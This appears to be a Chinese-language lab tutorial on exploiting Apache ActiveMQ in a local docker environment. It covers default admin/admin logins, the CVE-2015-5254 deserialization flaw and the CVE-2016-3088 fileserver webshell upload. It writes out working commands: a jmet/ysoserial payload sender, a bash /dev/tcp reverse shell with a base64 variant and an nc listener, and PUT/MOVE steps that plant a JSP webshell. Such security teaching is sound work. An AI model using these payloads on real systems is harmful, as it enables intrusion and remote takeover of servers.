ActiveMQ漏洞

0x01、目的

ActiveMQ漏洞完整版,主要讲下面三种较为常见的漏洞:

  • 1.ActiveMQ未授权/默认帐号密码登录
  • 2.ActiveMQ反序列化漏洞(CVE-2015-5254)
  • 3.ActiveMQ fileserver远程代码执行漏洞(CVE-2016-3088)

0x02、简述

ActiveMQ是Apache软件基金会下的一个开源消息驱动中间件软件,Apache旗下的一个JMS(Java Message Service,Java消息队列)。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。

  • 1.ActiveMQ未授权/默认帐号密码登录

    Activemq的默认开启端口是8161和61616(均可修改),其中8161是后台管理页面,61616是给Java用的TCP端口。可以直接尝试登录后台管理页面。默认账号密码为:admin/admin

  • 2.ActiveMQ反序列化漏洞(CVE-2015-5254)

    影响版本:Apache ActiveMQ 5.0.0 - 5.12.1
    漏洞简析:该漏洞要想利用有一个前提条件,需要拿到后台权限,也就是在1的基础上进行。(注:当然也可以构造链接发给管理员诱使管理点击触发,非本文重点)该漏洞是由于程序没有现在可在代理中序列化的类,远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

先来简单解释一下JAVA的序列化,如下图1所示:

图1 JAVA序列化

序列化就是将对象的状态信息转换为可以存储或传输的形式的过程,在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
JAVA提供了一个序列化的API接口:

  • 1)可序列化的类需要实现java.io.Serializable接口
  • 2)java.io.ObjectOutputStream.writeObject() 该方法用来写序列化的对象
  • 3)java.io.ObjectInputStream.readObject(),read就是用来读序列化的对象
  • 4)中间使用二进制协议来存储对象的状态

针对反序列化漏洞:
如果从网络、文件、数据库等读取了不可信的数据,同时作为read方法的输入值,这个时候就会触发反序列化漏洞。
至于为什么要序列化,哪些需要序列化等等问题,详情请见随后的反序列化漏洞章节。
CVE-2015-5254漏洞利用过程:

  • 1)构造(可以使用ysoserial)可执行命令的序列化对象
  • 2)作为一个消息,发送给目标61616端口
  • 3)访问web管理页面,读取消息,点击event列表中的事件链接,触发漏洞

使用工具:jmet(内置ysoserial,无须另外下载),该工具原理是使用ysoserial生成Payload并发送,可以选择ysoserial下gadget中的ROME或者最常见的CommonsCollections1都可以。
具体攻击过程,详见下一部分。

  • 3.ActiveMQ fileserver远程代码执行漏洞(CVE-2016-3088

    )
    影响版本:Apache ActiveMQ 5.0.0 - 5.13.x
    漏洞简析:ActiveMQ的fileserver允许用户通过PUT方法上传文件,将webshell利用代码上传至fileserver路径下,然后使用MOVE方法将webshell利用代码转移到可执行路径,获取webshell。(注:有看到一些文章说,利用OPTIONS先探测一下http允许的请求方法,看是否允许PUT和MOVE,实际测试时,发现只返回了PUT,但MOVE虽然是允许的,但在返回头中并没有体现,见下图2)(漏洞点在fileserver处,所以OPTIONS的时候,后边注意跟具体目录,否则返回信息失败)
    图2 OPTIONS查看允许的http请求

此时,并不能看到PUT和MOVE,感觉比较鸡肋(其实可以直接尝试性攻击,走不走OPTIONS这一步都是一样的)

0x03、漏洞检测

  1. ActiveMQ未授权/默认帐号密码登录
    检测访问后台管理页面即可,默认账号密码admin/admin。重点在2和3上

  2. ActiveMQ反序列化漏洞(CVE-2015-5254)
    已拿到管理权限的情况下。
    下载jmet,构造payload,向队列发送反序列化数据到消息队列中。

    wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
    

    下载jmet到攻击机上(注:首次使用的时候需要同目录下创建一个external文件夹,否则执行会出错)

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME [靶机IP] 61616
    

    注:ROME也可以替换成CommonsCollections1,一样的效果。

    图3 发送反序列化数据

注意,上图3中有个ID号,该ID就是访问Web页面需要触发的事件ID。
访问http://127.0.0.1:8161/admin/browse.jsp?JMSDestination=event
注:127.0.0.1:8161视具体情况进行替换。

图4 查看event事件列表

在图4中点击图3返回ID对应的事件号,进行漏洞触发。如下图5所示。

图5 点击事件触发漏洞

此时可以看到注入的命令是:touch /tmp/success,在/tmp/文档下边生成一个success文件。由于是自己搭的环境,这个时候可以进入环境中查看一下这个命令是否执行成功。如本环境利用的docker进行搭建。
在activemq对应漏洞目录下依次执行
docker-compose exec activemq bash
ls /tmp
查看文件,如下图6所示:

图6 查看执行是否成功

实际测试中,这个时候不能切入到对方系统中,所以将命令可以替换成反弹shell的命令。如下:
bash -i >& /dev/tcp/IP/12345 0>&1 (12345端口可任意进行替换,保证不冲突即可)
再开启服务器监听:nc -lvvp 12345即可,如下图7所示:

图7 成功反弹shell

注:如果反弹不成功可能是JAVA Runtime.getRuntime().exec()中不能使用管道符,需要进行一次base64的编码。编码命令如下:
bash -c {echo,反弹shell的basse64编码}|{base64,-d}|{bash,-i}
将上面的payload进行编码后:
bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}
最后完整的执行编码后的payload,如下所示:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}” -Yp ROME 127.0.0.1 61616
此时可以上传自己的ssh公钥或者其他方式,进入系统进行提权等操作,可参考文章:https://www.cnblogs.com/backlion/p/9970516.html

  1. ActiveMQ fileserver远程代码执行漏洞(CVE-2016-3088)
    攻击过程可分为三步:
    1)对fileserver进行PUT操作,上传webshell脚本
    2)获取绝对目录,为下一步做准备(两种)
    3)进行MOVE操作,触发漏洞
    抓包后,对fileserver进行PUT操作,此处PUT了一个webshell的内容,注意此处put的是一个txt文本,有时候直接put一个jsp文件可能会上传失败,所以命名为txt,此处任意格式只要能上传成功其实关系都不大,因为随后要进行MOVE操作,MOVE的同时可以修改后缀名。
    图8 对fileserver进行put操作

注:此时返回的是204,证明上传成功,如果上传失败会返回400等
下一步爆目录,获取目录的方式有两种。

  • (1)访问web页面,直接获取
    访问URL:http://域名:端口/admin/test/systemProperties.jsp
    其中activemq.home下的就是需要获取到的目录。如下图9所示。

图9 获取目录方法1
  • (2)加入特殊字符,直接爆出来

如下图所示,PUT fileserver/test/%20%20,返回500

图10 获取目录方法2

目录获取到后,就可以将上传的webshell脚本移动到可执行路径下admin
利用MOVE方法,加入Destination,返回204移动成功,如下图11所示

图11 移动成功

此时可以直接访问webshell存放的目录,执行任意命令,根据本webshell访问URL如下,此处利用的cmd是ls:
http://127.0.0.1:8161/admin/hello.jsp?cmd=ls

图12 webshell命令执行

0x04、总结

本文主要讲了ActiveMQ方面比较常见的漏洞,如ActiveMQ未授权或者默认账号密码弱口令登录,反序列化漏洞(CVE-2015-5254),以及远程代码执行漏洞(CVE-2016-3088)。其中反序列化漏洞主要利用的jmet工具,用ysoserial生成可序列化的对象发送数据触发漏洞。远程代码执行则利用ActiveMQ下fileserver可进行PUT操作以及允许MOVE请求的特点,先对fileserver上传webshell,获取到目录后,再MOVE到可以执行jsp脚本的admin目录下触发漏洞。
最后给出一张简易的图仅作记录参考:

图13 ActiveMQ漏洞逻辑图

0x05、参考文献

综述:
https://blog.csdn.net/cjx529377/article/details/81612319
https://www.freebuf.com/column/161188.html
https://vulhub.org/#/environments/
反序列化(CVE-2015-5254):
https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
https://www.jianshu.com/p/7c70b19ee4df
https://www.cnblogs.com/backlion/p/9970516.html
远程代码执行(CVE-2016-3088):
https://blog.csdn.net/xg_ren/article/details/80776474
https://paper.seebug.org/346/